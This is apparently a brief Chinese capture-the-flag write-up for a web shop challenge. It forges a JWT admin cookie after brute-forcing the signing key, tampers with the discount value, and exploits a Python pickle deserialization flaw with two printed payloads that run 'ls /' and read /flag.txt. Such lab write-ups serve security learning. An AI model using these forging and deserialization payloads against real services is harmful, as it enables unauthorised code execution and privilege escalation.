购买需要admin权限 我们在cookie中发现jwt 解密发现user为asd
爆破密钥为1Kun 将user加密为admin
购买时将折扣值调为很小的值
发现源码
在admin中存在反序列化漏洞 会将结果渲染出来
import pickle import commands import urllib class poc(object): def __reduce__(self): return (commands.getoutput,('ls /',)) a=poc() print(urllib.quote(pickle.dumps(a)))
import pickle import urllib class poc(object): def __reduce__(self): return (eval, ("open('/flag.txt','r').read()",)) a=poc() print(urllib.quote(pickle.dumps(a)))